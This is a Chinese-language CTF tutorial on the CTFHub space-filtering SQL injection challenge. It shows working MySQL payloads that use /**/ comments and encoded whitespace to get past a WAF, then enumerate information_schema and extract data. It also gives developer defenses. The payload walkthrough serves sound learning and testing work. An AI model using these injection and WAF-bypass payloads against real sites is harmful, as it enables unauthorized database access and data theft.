CTFHub过滤空格注入实战:手把手教你用/**/绕过WAF拿到Flag
CTFHub过滤空格注入实战:手把手教你用/**/绕过WAF拿到Flag
在CTF竞赛中,SQL注入始终是Web安全方向的热门考点。当遇到过滤空格的题目时,许多新手选手往往会陷入思维定式,不知如何突破防线。本文将带你从零开始,通过CTFHub平台上的"过滤空格"题目,掌握用注释符/**/替代空格的实战技巧,并深入剖析Payload构造的底层逻辑。
1. 环境准备与初步探测
首先访问CTFHub提供的题目页面,通常会看到一个简单的查询接口。我们尝试输入基础测试参数:
http://challenge-address/?id=1页面正常显示后,开始注入测试。传统SQL注入会使用空格分隔关键词:
and 1=1但此时页面返回"Hacker!!!"提示,说明WAF已拦截包含空格的请求。这是典型的空格过滤场景,我们需要寻找替代方案。
提示:现代WAF通常采用正则表达式匹配
\s+来过滤空格,但注释符/**/往往不在检测范围内。
2. 注释符绕过技术解析
MySQL支持多种注释语法,在绕过过滤时各具特色:
| 注释类型 | 示例 | 适用场景 |
|---|---|---|
| /**/ | //AND//1=1 | 通用空格替代 |
| /!/ | /!50000AND/1=1 | 版本特定执行 |
| # | AND 1=1# | 行尾注释 |
| -- | AND 1=1-- | 需URL编码为--+ |
通过测试发现/**/在本题目中最稳定有效。构造第一个验证Payload:
?id=1/**/AND/**/1/**/=/**/1当页面正常返回时,确认注入点存在且注释符绕过有效。接着测试假条件:
?id=1/**/AND/**/1/**/=/**/2观察页面差异,确认存在布尔型注入特征。
3. 系统化注入流程实战
3.1 确定字段数量
使用ORDER BY子句逐步探测,从低位开始测试:
?id=1/**/ORDER/**/BY/**/1--+逐步增加数字直到页面报错:
?id=1/**/ORDER/**/BY/**/3--+当ORDER BY 3返回错误时,确定字段数为2。
3.2 联合查询定位回显点
构造UNION SELECT查询,注意NULL值的使用:
?id=-1/**/UNION/**/SELECT/**/NULL,NULL--+若页面显示异常,尝试将NULL替换为数字:
?id=-1/**/UNION/**/SELECT/**/1,2--+观察页面何处显示"1"或"2",即为可回显位置。
3.3 数据库信息收集
通过version()和database()函数获取基础信息:
?id=-1/**/UNION/**/SELECT/**/1,version()--+ ?id=-1/**/UNION/**/SELECT/**/1,database()--+在CTFHub环境中,通常会得到类似以下信息:
- 数据库版本:MariaDB 10.3.22
- 当前数据库名:sqli
3.4 数据爆破完整流程
- 枚举所有数据库:
?id=-1/**/UNION/**/SELECT/**/1,group_concat(schema_name)/**/FROM/**/information_schema.schemata--+- 列出目标数据库表:
?id=-1/**/UNION/**/SELECT/**/1,group_concat(table_name)/**/FROM/**/information_schema.tables/**/WHERE/**/table_schema='sqli'--+- 获取表字段结构:
?id=-1/**/UNION/**/SELECT/**/1,group_concat(column_name)/**/FROM/**/information_schema.columns/**/WHERE/**/table_schema='sqli'/**/AND/**/table_name='lrfbovgrtq'--+- 提取最终Flag:
?id=-1/**/UNION/**/SELECT/**/1,group_concat(ntzwkdyzie)/**/FROM/**/sqli.lrfbovgrtq--+4. 高级绕过技巧与防御策略
4.1 备选绕过方案
当/**/被过滤时,可尝试以下替代方案:
- 括号包裹法:
(union)(select)(1,2) - 特殊空白符:
%a0UNION%a0SELECT%a01,2 - 内联注释:
/*!UNION*//*!SELECT*/1,2 - 换行符:
UNION%0ASELECT%0A1,2
4.2 开发者防御建议
对于Web应用开发者,推荐采用多层防御策略:
预处理参数化查询
# Python示例 cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))WAF规则强化:
- 过滤
/\*.*?\*/正则模式 - 检测非常规空白符(%a0, %0A等)
- 过滤
最小权限原则:
- 数据库账户仅授予必要权限
- 禁用information_schema的公共访问
5. 实战中的常见误区
新手在解题过程中容易陷入以下陷阱:
注释符嵌套错误:
- 错误示例:
/*/**/UNION/*/**/SELECT*/1,2 - 正确写法:
/**/UNION/**/SELECT/**/1,2
- 错误示例:
URL编码问题:
- 空格应编码为%20或+
- 单引号需编码为%27
布尔逻辑混淆:
- 错误:
1=/**/2(语法错误) - 正确:
1/**/=/**/2
- 错误:
字段数判断失误:
- 避免直接猜测大数字
- 应从低位逐步测试
在最近一次线下CTF比赛中,有队伍因忽略URL编码导致Payload失效,最终通过以下修正获得成功:
?id=1%2f**%2fAND%2f**%2f1%2f**%2f=%2f**%2f1这种对细节的把握往往是取胜关键。
